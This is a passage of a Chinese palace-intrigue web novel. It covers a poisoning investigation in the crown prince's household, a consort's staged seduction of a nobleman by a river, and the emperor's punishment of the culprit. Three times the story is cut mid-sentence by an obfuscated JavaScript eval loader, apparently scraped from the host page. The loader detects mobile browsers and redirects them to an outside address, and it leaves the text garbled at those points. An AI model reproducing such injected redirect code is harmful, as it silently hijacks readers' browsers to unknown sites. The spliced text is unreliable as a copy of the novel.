“这……不会真像冯侧妃所说,是入鼻的毒吧?”叶挽棠皱眉说道。 “不……不是!”吕奉仪声音极度虚弱,却坚定开口,“方才我喝了一口茶……就、就觉得不对劲了,一定是这茶有问题!太子妃,你……你好狠的心啊!” 她眼神怨毒,恨不得把崔锦千刀万剐! “你胡说什么?”叶挽棠顿时骂道,“茶有问题你还大口继续喝?平时怎么没见你这么把自己狗命不当回事?总不能是正殿克你吧?若不是太子妃,你这条狗命都没了,这会儿还胡编乱造莫须有的胡话陷害太子妃,白眼狼都没你狼心狗肺?!” “……” 吕奉仪被骂懵了。 片刻后,她强撑着力气,咬牙开口:“谁知道太子妃如何想?我正巧中毒,她正巧反应迅速,又正巧身上带了解毒丸,救我一条命,却叫我余生身体留毒,还得了我一个救命之恩……当真是好算计啊!” 叶挽棠脸色黑了,张口就要继续骂。 “对了。”苏玉忽地道,“这茶原先似乎不是吕奉仪的吧?” 第一百八十二章 叶挽棠有脑子这玩意儿吗?! 闻言,众人都是一愣。 “对啊。”叶挽棠反应过来,惊恐地看向冯书仪,“冯侧妃,这毒本来是给你下的?” 冯书仪也才反应过来,顿时白了脸。 “砰——”她踉跄一下,扶住脚边的桌子站稳,却又像想到什么,连忙挪开手,使劲儿在身上蹭着。 唯恐桌上也有毒。 她演技不错,加之从未见过血腥场面,也的确被吕奉仪吓到了,苍白的脸色藏都藏不住。 崔锦眸光微转,收回眼神。 “严查正殿!”她沉声吩咐,“茶是谁照管的,又经过谁的手,剩余的茶可曾有毒,都给本宫一一查过!” “是!” 如春出门调了侍卫来,团团围住了正院,随后快速排查起来。 “快,太医!”何奉仪身体颤抖着,几乎快溢出哭腔,“快来看看我的茶有没有毒。” 她身后就是云出岫。 后者垂着眸,眼底尽是不屑。 一个小小奉仪,全凭资历够久才从通房爬上来的贱婢,平时更是无宠无子无家世,连容貌都不出挑,谁吃饱了撑的害她? 当真是没点自知之明。 见太医过来,云出岫也像被吓着般,抚着胸口,将自己的茶推了过去,顺便一起查。 “回太子妃,在座小主们的茶都无毒。”太医们查完后,躬身回话。 “那就奇怪了。”苏玉蹙起眉,“正院的人没查出个异样,更没查出毒,屋里大家的茶里也没毒,莫不是只能搜身才能查清真相了?” “搜身?!” “这怎么行!” 苏玉话落,所有人都出言反对起来。 她们知道自己清白,自然不愿平白受此屈辱——都是家里娇养长大的贵女,即便在场都是女子,被搜身也是奇耻大辱。 如此想着,她们心中也生出些怨气。 明明是正院自己防备不当,险些叫吕奉仪丧命,如今没查出东西,难道就想祸水东引不成? 谁知道正院是真不知情还是蓄意如此,若是后者,被正院的人搜身,岂非有被嫁祸的风险? 崔锦眼神微沉,安抚了众人几句,着重叫如春将重点放在正院的人身上查。 ——即便是她身边医术精湛的如秋都没能辨出那毒是什么,这叫崔锦一时未往无色无味的毒药上想,她也更没想到,会有人堂而皇之、胆大到当着满屋人的面,给冯书仪下毒。 所有人都留在正院等候结果,但都坐立不安。 眼见着连搜院都没能搜出什么东西,崔锦沉思一瞬,还是开口:“如春,去请刑部大人们来一趟……本宫有要案请他们深查。” 如春欲言又止,但还是点头应下,匆匆离开。 东宫内事,本该自己处理,一旦捅去刑部,等于透给半个朝堂知晓,届时势必要有言官参崔锦一本御下不严,管家不力。 可今日正院搜不出什么东西,甚至连一丝痕迹都没查到,对满座人如何交代? 吕奉仪兄长是正三品青州宣抚使,而这毒更是从冯书仪手里接过的,不给个交代,单冯家与淑贵妃那里就过不去。 此时颜面已经不重要了——以后有的是机会挽回。 重要的是自证清白,查明真相。 果然,在崔锦决意请刑部后,下首的人悄悄松了口气,看向崔锦的目光都没了方才的敌意。 ——起码她如此态度,证明正院还算清白。 不多时,萧临闻讯匆匆赶回。 “如何?”他进门就看崔锦,“锦儿你可有事?孩子们呢?” 这般关怀备至,甚至有些急迫的模样刺酸了不少人的眼。 “妾身与孩子们都无碍。”崔锦忙道,“只是吕奉仪中了毒,据太医说……只怕以后要常与药汤为伴了。” 萧临皱起眉,沉吟一瞬:“吕奉仪受无妄之灾,晋良娣,许独居一殿养病,任何人不得打扰。” 他转头吩咐庆喜去开库房,赏了好些珍贵药材补品。 不少人脸色有些复杂。 后院如今除了崔锦,谁也沾不得萧临半边衣裳,讨不着好,晋位便极其艰难,吕奉仪……不,吕良娣,当真是因祸得福了。 云出岫眼中更是闪过一抹深色,藏于袖中的手微扯了扯。 姓吕的,也太过好命了些。 可瞥见何奉仪有些异样的脸色,她又很是不屑。 小小位份,就叫这群女人动了心思去争去抢,当真是自甘堕落。 只有她,是抱着与太子身心合一,琴瑟和鸣的念头去的,这些世俗名利,她亦不屑。 “殿下。”何奉仪红着眼,跪下哭道,“求殿下快查出凶手啊,若不然,妾们怕是夜里连睡都睡不安稳,生怕得罪了谁,被公然下毒谋害……” 叶挽棠皱了皱眉:“你什么意思?吕良娣不就得罪过一个太子妃,你的意思是太子妃下毒害吕良娣?” “妾不敢!”何奉仪连忙开口,“只是妾用词不当,望太子妃勿怪。” 话已出口,又如何叫人当没听到? 何奉仪从未想过争什么,她能从一个王府通房走到东宫奉仪之位,日后若有造化……入后宫怕就能封嫔,余生便安稳了。 所以她一直很稳得住,不争宠不冒尖。 可前提是自己安然无恙。 如今性命都受胁,她怎还能稳得住? 一急起来,便失了分寸。 见萧临皱起眉,脸色阴沉,苏玉忽然说道:“何奉仪此言差矣,如今还没有证据证明是太子妃下毒,且那茶……经手过的可不止正院的奴婢。” 冯书仪愣了一下,不可置信地看向苏玉:“你是说我下毒?” “冯侧妃见谅,妾身并非暗指您下毒,只是提出自己的见解,毕竟人命关天,任何细节都不可轻忽才是。”苏玉柔声道歉,“我们总不能只将矛头对准太子妃,而忽略了旁的线索啊。” 她说完这番话后,萧临脸色好看了些。 一看又是苏氏,纵然先前对她有过猜疑,但此刻他心中依旧满意。 锦上添花易,雪中送炭难。 能在自己性命受胁时依旧保持头脑冷静,相信崔锦的,也只有叶挽棠与这个苏氏了。 “苏奉仪说的对。”叶挽棠冷笑一声,“一个吕良娣,还需要太子妃下毒谋害?你们是有多看得起她?太子妃随手就能收拾的存在,还用大费周章——” “住口!”萧临脸色微青。 他刚说什么来着? 头脑冷静? 叶挽棠有脑子这玩意儿吗?! 第一百八十三章 她得尽快攻略谢长风了! 叶挽棠愣了一下,虽然不解,但还是闭上了嘴。 崔锦见萧临神色不豫,知他心中恼怒,轻轻抬手覆上他的手背,温声安抚:“殿下息怒,是妾身管家不严,才出了这等祸事,妾身已让如春去请刑部来人,此案人命关天,需得查案老吏方能理清。” 萧临眉头紧锁,反手握住了她的指尖,触手微凉,让他心头更添一层阴霾。 刑部介入,东宫内帷不修之名便会传扬出去,崔锦身为太子妃首当其冲。 若非被逼无奈,她绝不会如此自打脸面……萧临冰冷的目光再次扫过下首那群神色各异的女人,心中戾气翻涌。 定然是这群女人逼的她! 他正要开口惩戒,但想到什么,话到嘴边又咽了回去——此时动手,她们只会将这笔账记在崔锦头上,还是等以后吧。 待此事了结,全都关起来抄经念佛去! “庆喜,”他压下火气,沉声吩咐,“先将太子妃与三位小殿下身边近身伺候的人,里里外外再给本宫仔细筛一遍!若有任何可疑之处,即刻拿下!” “是,殿下!”庆喜公公领命,立刻带着人下去办差。 屋里一时无人再敢轻易开口,气氛压抑得让人喘不过气。 太医在内室竭力救治吕良娣,偶尔传出的微弱忍痛声叫人更添几分紧张。 何奉仪跪在地上,身体微微发抖,后悔自己方才的口不择言。 可若再来一次,她还是会如此说。 天大地大,没有自己的命大。 最末,云出岫藏于袖中的手紧紧绞着,心中隐隐不安。 原以为这只是东宫家事,不会闹去外头,可她万没有想到太子妃竟当真不管不顾,请了刑部来查案。 ——那可是刑部啊! 云出岫在入宫前见过最大的官只是知府家的公子,但也从他口中知晓刑部的高贵与势重,刑部于她而言,像是蒙着一层阴影般,满是敬畏。 她对自己的手段有信心,但那瞬间的异香……会不会留下什么她忽略的痕迹? 云出岫双手顿时绞的更紧。 就在这一片死寂的等待中,殿外传来通传声:“殿下,刑部沈侍郎、王大人求见。” “请。” 片刻后,身着官袍的两位大人稳步而入,身后跟着几名手持特殊箱笼的吏官吏。 “臣等参见太子、太子妃——” “几位请起。”萧临端坐主位,声音沉稳。 崔锦将方才发生之事,从吕良娣中毒到目前搜查无果的情况,清晰扼要地陈述了一遍:“……茶盏、水源、经手之人皆未发现明显异常,本宫恐有疏漏,特请几位大人前来,务必将此案查个水落石出,以安人心。” 沈侍郎拱手道:“太子妃放心,臣等必当竭尽全力。” 他话落,刑部官吏立刻行动起来。 首先便是小心翼翼地将吕良娣用过的茶盏、冯书仪那杯被换下的雨前龙井、乃至殿内所有可能接触过茶水的器皿、桌案,甚至地面,都用特制的银箔、薄刃进行刮取,分门别类放入不同的瓷瓶中。 一位官吏更是俯身,仔细检查了冯书仪和吕良娣座位之间的地面,以及她们当时所穿的鞋履底部的纹路。 看到这一幕,云出岫的心跳漏了一拍。 刑部查得如此细致,远超她的预料。 但殿内众人却安心极了。 取证完毕后,沈侍郎才转向众人,语气平和地问:“请问冯侧妃,您端起那杯雨前龙井时,可曾察觉到任何异样?比如,不同于往日的气味,或是在您端起的瞬间,附近可有异常?” 冯书仪凝神细想。 片刻后,她蹙着眉,不确定地开口:“好像,是有异样?” “是何异样?” “这……”冯书仪像是被问住了,绞尽脑汁地回忆半晌,“我先前还未曾察觉不对,但被大人一提,我、我的确觉得很不对劲,却不知哪里不对。” 沈侍郎微皱了皱眉。 这冯侧妃一看就是被他的话拐进沟里,开始疑神疑鬼了。 平常刑讯那一套,怕是不能用在东宫小主的身上了。 他转身,躬身大拜:“回殿下、太子妃,此案设计颇为精妙,微臣还需些时间方可查清。” “有劳沈侍郎。”萧临微微点头,随后吩咐,“太子妃近日随本宫住前院,你们……” 他眼神扫过下面一群女人:“都安生待在自己院里,别出来了。” “是。” 众人立刻应下。 这话对她们来说是解脱和安全感,但于云出岫而言,却成了桎梏。 不能出门,她怎么叫太子妃看清太子的真面目? 太子那种贪花好色的男人,唯有她才能制得住,太子妃弱势又愚蠢,总会被太子蒙得团团转,若日后感情更深,知晓真相后必然更加难捱。 还有前院……那是男人住的地方,太子妃住去像什么话? 太子不过随口提议,她竟当真敢应下? 等她与太子日夜相处,看管得太子没了偷腥的机会,招了厌恶,她就知道好歹了! 云出岫微微咬唇,忽略心中那隐隐升起的不甘,跟着众人离开。 冯书仪是最后走的。 她有些迟疑地道:“殿下,妾身母亲近日来京,妾身……许久不见她,实在想念,能否请您网开一面,容妾身出门几回?” 萧临微愣,沉吟一瞬后点了头:“舅母此番进京,便是拜见母妃与你,你若无事,便去母妃那里陪陪她们,不过——” “殿下放心。”冯书仪当即开口,“东宫之事,妾身绝不会往外透露分毫。” 萧临这才摆摆手,叫她离开。 冯书仪转身之际,唇边极快地掠过一抹笑意。 云出岫这一招可是无往不利,害过不少人还全身而退,但她尚存些假清高——或者说是忌惮崔锦身后的势力,不敢对她下毒手。 但也就是多挑拨几回的事了。 若顺利,云出岫动手,她坐收渔翁之利! 这一遭刑部必然无功而返,趁着萧临崔锦注意力都被此案缠住之际,她得尽快攻略谢长风了! “童芳。”回院子后,她低声吩咐,“明夜按计划准备,你再亲手做一个白狐状的河灯。” 童芳点头应下。 第一百八十四章 侧妃,您怎还不放河灯? 回到前院后,萧临挥退所有下人,脸上强撑的沉稳瞬间褪去,取而代之的是藏不住的阴沉与后怕。 他猛地将崔锦紧紧拥入怀中,力道之大,几乎让她有些喘不过气。 “锦儿……”他的声音带着一丝微不可查的颤抖,“今日若那杯茶是你喝了,或是孩子们误触……” 他不敢再说下去,只是手臂收得更紧。 崔锦被他勒得生疼,却能清晰感受到他胸腔里急促的心跳。 她没再挣扎,反而轻轻环住他的腰,柔声安抚:“我没事,孩子们也都好好的,且此事事发时,孩子们都在侧屋由奶娘们看着,并未靠近厅内。” “孩子们没靠近厅内,你却在场。” 萧临声音哑而沉:“你是觉得我只关心孩子,毫不在意你么?” “我哪有这意思?”崔锦抬起头,轻瞪他一眼。 萧临深吸一口气:“是我关心则乱了。” 他缓缓松开崔锦,但双手仍紧紧握着她的腰,语气极度阴沉:“此事绝不能就此罢休,不止刑部要查,我也会叫暗卫去查……我倒要看看,究竟是谁吃了熊心豹子胆,敢行此等恶毒猖狂之事!” 他的眼神冰冷,带着毫不掩饰的杀意。 崔锦拉着他到榻边坐下,眉头微蹙,困惑不已:“我反复思索,仍觉得此事蹊跷,若那人目标是冯侧妃……冯侧妃素来深居简出,也不与人结仇,那人何至于当众下此毒手?” “可若目标是吕奉仪……她虽有些口无遮拦,但家世不显,性子也并非最惹眼的,害她又能得到什么?而且那**连如秋都辨不出来历,绝非寻常之物。” 萧临眼眸深沉:“管她目标是谁!敢在我东宫下毒,便是没将你我放在眼里,待揪出此人,必要除之以绝后患!” 他顿了顿,看向崔锦,语气不容置疑:“你和孩子们绝不能有任何闪失,从今日起,你和孩子们的饮食起居,不如由庆喜协同如春亲自把关,经手之人必须绝对可靠,我也会加派暗卫,日夜保护你们。” 他的维护与紧张毫不掩饰,叫崔锦眼神也缓和许多。 她主动依靠进他怀里,指尖轻轻抚平他紧皱的眉头,声音带着几分柔和:“有你这般护着,我和孩子们还有什么好怕的?只是日后……只怕还要辛苦你更为我们担心了。” 对于萧临的维护与上心,她从来不会拒绝。 甚至还会有意无意地暗示他这么做。 “只要你们母子四人无恙,我辛苦些又何妨?” “可我心疼啊。”崔锦声音柔软,眼中犹带着依赖与信任,“不过只要你在,我便觉得安心许多。” 萧临被她柔软的话语抚平了些许戾气,因今日之事而紧绷的心弦渐渐松弛下来。 两人低低说了片刻话,萧临想起什么,忽然道:“我记得叶挽棠武功不错,不如以后叫她白日里寸步不离地跟着你和孩子吧?” 即使崔锦内功深厚,可萧临总是下意识忽略这点,觉得她柔弱无依,需要保护。 “那怎么行?” 崔锦没好气道:“挽棠是侧妃,你拿人家当侍卫使吗?” “你也不必说得如此难听。”萧临语气微妙,泛着些酸味,“若能日日粘着你,我猜她必然欢喜不已,上赶着要当侍卫呢!” 说到这里,不用崔锦拒绝,他自己就否决了此事:“不行,叶挽棠没脑子,可别坑了你和孩子,还是我安排些会武的婢女过来吧。” “也好。”崔锦思索着点头,“叫她们在院外守着,平日出门时跟着就好。” 萧临顿时笑了,低头看她:“怕她们当探子,向我禀报你又盘算了什么事?算计了什么人?” 崔锦毫不否认:“即使你知我心机深沉,我也希望在你心中,我能清白一些……谁会不在意心上人如何看待自己呢?” 她抬起的眸中满是浓浓情意,专注而炙热。 萧临眼神微动,觉得连心都被她烫热了。 “不必担心什么,心机深沉也好,善良清白也罢,只要是你,我便喜爱极了。”他嗓音低沉了几分。 崔锦莞尔一笑。 见他目光幽深而含着暗示,便微微抬头,如他的意,吻上他的唇。 所有未尽的话语都封 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16670511|186283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缄其中。 …… 翌日,受萧临命令,所有人都待在自己院子里,没有出门请安。 冯书仪白日里十分安分,等临近傍晚时分,才光明正大地去赴母家的晚宴,酒过三巡后就悄悄从后门离开了。 “侧妃,不远处就是杨柳河了。”童芳扶着她,低低说着。 天空繁星点点,底下夜色渐浓,羊肠小道被远处的河灯映照着,别有一番风味。 但此时冯书仪无心赏风景,而是低声嘱咐:“一会儿照我教你的话说,不能错一个字,记住了吗?” 童芳不安地点头:“奴婢记住了,可您如此实在冒险——” “不必多说。” 冯书仪抬手制止,快步走去了河边,拿起河灯,蹲在岸边,精心算好的侧颜角度正能叫另一条路过来的人看个真切。 “侧妃,您怎还不放河灯?”童芳按照台词,着急地说着,“我们是偷溜出晚宴的,可得快些回去啊。” “赶回去赴那无趣的宴?”冯书仪反问,“那还不如待在这里清净自在。” “可、可这不合规矩啊!” “今夜,我不想守规矩。”冯书仪顿了许久才开口,语气怅惘而悲切。 余光里,并没有人影。 她并不知谢长风具体经过的时间,只能来早些,提前备好足量台词,演这一场戏了。 可说了许久,那道上依旧没有人影。 冯书仪渐渐蹙眉,随手转着河灯,视线却忽然一凝。 ——被河灯映照的水里,杨柳依依中,一个人影在缓缓晃动。 冯书仪差点尖叫出声。 可须臾之间,她看清了那影子的姿势——酒壶,仰头,衣袂飘飞。 是谢长风! 他竟早就到了!! 连个声都不会吱吗?! 冯书仪咬牙切齿,闭上眼睛好半晌,才堪堪忍住弄死这人的冲动,捧着河灯,念起台词:“都说这杨柳河灵验无比,今夜我也来求上一求。” “一愿大周安宁,二愿至亲安康,三愿觅得良人,朝夕共白头。” 第一百八十五章 论勾人的手段,他可没输过 话音落下,冯书仪捧着河灯,脸上适时地露出一丝落寞。 一旁的童芳急得直跺脚,声音都带了哭腔:“侧妃,您、您快别说了!这种话怎么能说出口……您可是太子侧妃啊!” 冯书仪微微转过头,眼眸在夜色中显得格外清亮,也格外寂寥。 “太子侧妃,那又如何?”她轻轻扯了扯嘴角,苦涩一笑,“这身份,难道是我自己求来的吗?” 童芳像是被问住,一时哑言,好半晌才声音沙哑道:“奴婢知道您过得苦,可事已至此,我们没有回头路可走了。” 冯书仪轻笑了笑,带着自嘲:“是啊。” “世人只道东宫富贵,侧妃尊荣,却非我心中所愿……我毕生所求,不过希望能觅得一位真心待我的良人,无需他权倾朝野,也不必家财万贯,只愿与他相濡以沫,朝夕相伴。” 她声音轻得像是在叹息,却又清晰地传入树上人的耳中。 “侧妃!” 童芳惊恐低呼,想捂住她的嘴,又不敢:“您慎言啊!这话若是传出去……” “传出去便传出去吧。”冯书仪赌气一般,冷笑,“在这夜深人静之处,对着这据说灵验的河水,我还不能说说心里话吗?入了那东宫,便连这点念想都不能有了吗?” 童芳急得团团转,却又拿她没办法。 戏已做足,该到下一步了。 冯书仪捧着那盏白狐状的河灯,小心翼翼地蹲下身,作势要将河灯放入水中。 但不知怎的,她脚下似乎踩到了河边的湿滑青苔,只来得及发出一声短促的惊呼,整个人就向后踉跄着摔去。 “侧妃!”童芳慌忙去扶。 冯书仪目露慌乱,紧紧抓着她的手才站稳。 因为角度原因,目光正好对上了杨柳树枝掩映间,那道隐晦的身影。 月光与河灯的微光交织,勾勒出那人倚树而坐,手持酒壶的轮廓。 “鬼、鬼啊……” 冯书仪颤抖着双唇,本要大喊大叫,却因为过于惊惧,只从喉间挤出一丝低不可闻的惊叫。 她脸色煞白,心脏狂跳,完全不像演戏——因为刚才她是真被吓到了! 树上的谢长风显然也没料到会被发现,还引得对方如此失态。 沉默一瞬后,他身影一动,悄无声息地从树上翩然跃下,稳稳落在冯书仪几步之外,拱手行礼:“微臣谢长风,惊扰侧妃,请侧妃恕罪。” 冯书仪惊魂未定,抚着胸口,连连喘了几口气。 但她脸上那片刻的脆弱与落寞已经消失,换上了一副惯有的娇蛮姿态。 她柳眉倒竖,带着怒气质问:“又是你?你、你为何会在此处?还躲在树上偷听?堂堂谢家子,行径怎如此鬼祟,是故意吓唬我吗?” 谢长风直起身,轻回:“回侧妃,此处并非东宫内苑,微臣自然来得,且若论先来后到,也该是微臣先到,只是思及侧妃在下,不便现身罢了,偷听与吓唬一言,微臣实不敢当。” 他话落,冯书仪只庆幸自己思虑缜密,在来河边前就开始演戏了。 否则,今夜将功亏一篑。 但面上,她似乎被这番不软不硬的话噎了一下,脸色气恼,狠狠瞪了谢长风一眼:“还不把我的河灯捡起来?” 谢长风垂眸而立,微顿一瞬,走去河边将河灯捡起。 看清这河灯模样时,他眸光微顿。 他生性喜走兽,尤对皮**顺滑漂亮的白狐情有独钟,上次见这位冯侧妃,是因白狐,这回又是白狐? 方才本还七八分的猜测,瞬间到了十分。 冯侧妃是故意的。 谢长风唇边忽然勾起一抹微不可查的笑意,转身将白狐奉上,闭口不语,却没有再急着告退。 既然送上门来了,不套干净这女子的底细,可真对不住这天时地利与人和。 论勾人的手段,他可没输过。 冯书仪见他眼神一直落在白狐河灯上,并不惊讶——投其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16675338|186283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所好还能投了错? “看什么看?!”她又瞪了谢长风一眼。 谢长风忽地轻笑一声:“侧妃莫不是心虚了?” 他长相本就俊逸,一双桃花眼含情似笑,在河灯的映衬下似藏了熠熠星光,平白将人的目光摄取,再移不开心神。 冯书仪看愣了。 她本就是个颜控,先前见了萧临一眼就迅速转变态度,全凭萧临长得足够俊美,男性荷尔蒙十足。 谢长风这种斯文俊逸的长相本不是她喜欢的类型,可不知为何,他蓦然一笑,竟叫她心都漏跳了一拍。 好半晌,她才回过神,耳根微微泛红,强撑着气势道:“心虚?你胡说什么!” “侧妃方才那般落寞伤怀,一见外人却又迅速藏起心绪,难道不是虚张声势?”谢长风收起揶揄的笑意,声音轻柔,“但不必如此。” “如侧妃这般疏朗娇贵的女子,合该被捧在手心,予取予求,您不过想觅得良人罢了,又有何错?” “错的,是不懂珍惜的太子。” 冯书仪神色微震,下意识抬头看他。 正撞进那一双波澜生辉的含情眼中。 谢长风走近一步,淡淡的醇香酒气飘来,却并不令人厌恶,反而有些迷醉。 “世人都说谢长风风流多情,可若能寻得心上之人,谁又乐意待在那烟花之地,虚度光阴?”他轻笑着,依旧风流随意,又含了一分醉意。 “我与侧妃,原是一样的人。” 轻柔到仿佛低喃的一句话,精准落入了冯书仪耳中,竟不知为何,叫她心神震荡一瞬。 面前人眸光专注地看着她,就好像……她是他的一切一样。 一阵夜风适时拂过,吹散了些许萦绕的暧昧酒气。 冯书仪蓦然清醒,下意识急忙后退。 “侧妃何故退开?”轻柔含笑的声音流淌于夜色里,尾音还带着几分上扬的勾人意味。 冯书仪双颊顿时红了个透。 第一百八十六章 她被一个眼神勾引到了 夜色浓浓,月光渐淡,唯有闪动的河灯微微照亮着河边。 童芳早在谢长风捡河灯时就悄悄退去远处,作势焦急地望风。 河边,冯书仪心跳如擂鼓。 她强自镇定,色厉内荏地瞪着谢长风:“你、你放肆!谁准你靠我这么近的!” 谢长风从善如流地后退半步,姿态优雅,仿佛刚才的逼近只是无意。 他唇边噙着笑意,桃花眼在夜色中愈发深邃多情:“方才侧妃对着河水诉说衷肠时,那份敢于直面内心的勇气,令微臣心生钦佩,微臣只是不解……怎么您此刻,反倒畏缩了?是在怕什么?” “谁畏缩了!”冯书仪下意识反驳,话一出口又觉不妥。 被牵着鼻子走了。 她深吸一口气,嗤笑:“谢大人不愧是风月场中的老手,这般惺惺作态、言语撩拨的功夫,想必对无数女子使过吧?可惜,我不吃这一套。” 说这话的同时,她也在提醒自己那过快的心跳。 谢长风,看似深情实则无心,万花丛中过,片叶不沾身。 他可以温柔体贴,可以诉尽衷肠,但那不过是游戏人间的手段,难辨真假。 浪子从来如此。 谢长风闻言,眼底的笑意却更深了些:“侧妃不信便算了。” 他没有解释,转头看向潺潺河水,仰头灌了一口酒,不再说话,仿佛方才当真只是随口一言。 见状,冯书仪反而不确定了。 难道真是她想多了? 她虽谈过恋爱,却从未与这般极品男人接触过,对这种风流浪子的了解仅限于小说,方才……他或许真的没有别的意思。 这种男人,仅只是寻常相处,都会不经意地撩拨人。 冯书仪闭了闭眼,心中划过一抹连她自己都没察觉到的失落。 时间有限,不能相对无言了。 谢长风能留在这里,而非恪守规矩告退,已足够说明她的手段是有效果的。 她语气放缓了些,带着点别扭:“方才……是我误会你了。” 谢长风侧过头,唇角微勾,并不在意:“无妨,寻常贵女,若不被这副皮囊所惑,多半也是避我如蛇蝎,侧妃这般反应,已是难得。” 冯书仪不由自主地偏头看他。 恰逢他仰头饮酒,喉结随着吞咽的动作轻轻滚动。 月光落在他棱角分明的侧颜,光影朦胧,又因这洒脱不羁的动作,平添了几分落拓风流。 冯书仪看得怔住,心尖像是被轻轻撞了一下,一句真心话不受控制地低喃出口: “谢大人风姿绝世,避你如蛇蝎之人,必定有眼无珠。” 谢长风微微一顿,转头看她。 两人对视间,他忽地又向前倾了半分,声音压低,带着磁性的蛊惑:“侧妃不避我如蛇蝎,莫是有意?” 冯书仪骤然回神,下意识反驳:“你胡说什么!” “随口一言,侧妃不必当真,若要罚,微臣也受。” 他轻笑着,在冯书仪因此言莫名失落时,又话头一转:“可若侧妃当真,微臣亦可当真。” “你……”冯书仪心头一跳,“你什么意思?” 气氛沉默下来,不知多久后,才听到回答。 “旁人看谢长风,是谢家的门第,或是这副还算能入眼的皮囊,可侧妃……”他语气微顿,难得含了一丝认真,“似乎并非如此,你不屑我谢家门第,亦不被这皮囊所迷,竟叫我难得自在。” 真话掺着假话,叫冯书仪心中瞬间惊喜。 就是这样。 那女人于谢长风,便是如此特殊的存在。 她抬眸,今夜头一次直直看向他。 谢长风亦低头回视。 桃花眼中含着细碎笑意,专注而温柔,竟让她恍惚觉得,自己对他而言,真的不一样。 “你、你如此识相,先前所有事,我便不与你计较了。”冯书仪思索着那女人第二次面对谢长风的态度,扬眉开口,“以后,你我倒可做个知心好友。” “知心好友?” 谢长风轻轻重复着,笑意难辨:“侧妃若要微臣的真心,微臣给你三分便是。” “知心非真心,谁要你的真心!”冯书仪眉梢微挑,“你的真心,怕是比那河里的水还要浅,更不知多少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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脑中闪过方才谢长风回头时那晃人心神的一瞥,冯书仪眼中浮起势在必得的光芒。 手段再了得,也防不住她的先知……这次,她一定攻得下谢长风! 第一百八十七章 平安伯夫人被褫夺诰命 翌日,天色刚明,关于吕良娣**一案,刑部的调查便有了进展。 沈侍郎亲自前来回禀,神色凝重:“殿下,太子妃,下官等在正院负责茶水果点的婢女白露房中,搜出了与吕良娣所中之毒性状相似的药粉残余,经连夜审讯,她已招认,是受……平安伯夫人指使。” “平安伯夫人?”萧临与崔锦对视一眼,均在对方眼中看到了惊讶。 他们原以为会是东宫内谁的手笔,没想到竟牵扯到外命妇。 “正是。”沈侍郎沉声道,“此案涉及命妇,下官不敢擅作主张,已即刻将案情结果呈报御前。” 萧临面色一沉:“走,去面见父皇。” 崔锦微皱着眉,与他一同离开。 平安伯夫人,与冯书仪有仇吗?并没有。 那为何要下毒害她,反而还牵连到了吕良娣? 很快就到了行宫,殿内气氛异常严肃。 永隆帝端坐于龙椅之上,面沉如水。 平安伯夫人已经被传召而来,跪在下方,身体微微发抖,脸色苍白。 萧临与崔锦行礼后,静立一旁。 沈侍郎抬步上前,将查获的证据、白露的口供一一禀明,条理清晰,证据确凿。 平安伯夫人听着,脸色由白转青,再由青转灰,一片仓惶。 当听到白露连她何时何地、以何为信物进行收买都交代得一清二楚时,她再也抑制不住满心的惊慌,脱口而出:“不……不是这样的!她胡说!皇上明鉴啊,臣妇绝没有做过这种事,臣妇是冤枉的!” 她这般失态,与方才强装的镇定截然不同。 在场没有蠢货,立刻便明了——此事,与她脱不了干系。 “够了!”永隆帝猛地一拍御案,龙颜震怒,“证据确凿,你还敢狡辩?平安伯府当真是好大的胆子!竟敢指使奴婢在皇家别庄毒杀太子侧妃,殃及东宫良娣!你们是想做什么?**吗?!” 怒斥如同惊雷炸响在平安伯夫人耳边。 她吓得浑身一软,几乎瘫倒在地,涕泪横流地哭喊:“陛下明鉴!臣妇……臣妇只是一时糊涂啊!臣妇没想谋害冯侧妃,臣妇……臣妇只是……只是心疼我那苦命的女儿啊……” 她哭得极为伤心。 晋王暗示过,只要崔锦失势,清婉回来的机会会更大。 那日崔锦当众对她不假辞色,也让她恨意难平,鬼使神差之下就买通了别庄正院里的婢女,准备下药。 她不敢下**——只是一些能叫身体虚弱一段时间的药,给崔锦一个教训而已。 她没想波及冯侧妃,甚至还没到她与白露约定的下药时间,怎么就事发了?一定是白露这个贱婢擅自行动! 思绪混乱之中,平安伯夫人没有察觉到永隆帝“毒杀”的用词,只仓惶伏地痛哭。 她不敢说自己原本准备给崔锦下药,只能将错就错,认下冯侧妃险些**一事:“臣妇糊涂!臣妇知错了!求皇上开恩,求皇上开恩啊!” 永隆帝居高临下地看着她,眼中没有丝毫怜悯,只有冰冷的怒意。 他看向沈侍郎:“此案既已查明,便按律处置,涉事婢女,即刻杖毙。平安伯夫人……”他顿了顿,语气含怒,“褫夺诰命,交由莲华庵圈禁,非诏不得出!平安伯教妻无方,罚俸一年,闭门思过!” “陛下——”平安伯夫人面露绝望,彻底瘫软在地。 萧临与崔锦对视一眼,都没对这个结果说什么。 谋害东宫侧妃是重罪,虽牵连了吕良娣险些丧命,却到底没有伤亡,这个结果算是意料之内了。 在永隆帝赐下了些赏赐安抚东宫后,两人便行礼告退。 